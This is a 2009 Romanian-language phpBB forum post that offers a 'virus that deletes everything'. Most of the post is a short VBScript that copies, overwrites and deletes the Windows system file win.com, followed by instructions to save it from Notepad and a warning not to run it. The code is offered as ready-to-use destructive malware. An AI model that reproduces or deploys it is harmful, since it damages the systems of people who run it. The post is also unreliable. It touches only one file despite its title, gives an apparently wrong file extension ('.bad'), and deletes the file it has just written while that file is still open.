Doriți să reacționați la acest mesaj? Creați un cont în câteva clickuri sau conectați-vă pentru a continua.


 
AcasaAcasa  PortalPortal  Ultimele imaginiUltimele imagini  ÎnregistrareÎnregistrare  ConectareConectare  

Conectat ca Anonymous. Ultima vizită a fost

Nu sunteti conectat. Conectați-vă sau înregistrați-vă

Vezi subiectul anterior Vezi subiectul urmator In jos  Mesaj [Pagina 1 din 1]

1virus ce sterge tot ce prinde Empty virus ce sterge tot ce prinde Joi Noi 26, 2009 10:25 pm

L K Y

L K Y

Administrator
Administrator
Cod:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com")
set fs2=fso.CreateTextFile("c:\windows\win.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
il scrieti in notepad il salvati cu extensie .bad si GATA

P.S ATENTIE NUL DESCHIDETI DAK NU VRETI sa va nenorociti pc

https://arth-time.ace.st

Vezi subiectul anterior Vezi subiectul urmator Sus  Mesaj [Pagina 1 din 1]

Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum


Creati un forum gratuit | ©phpBB | Forum gratuit de suport | Semnaleaza un abuz | Cookies | Discuții recente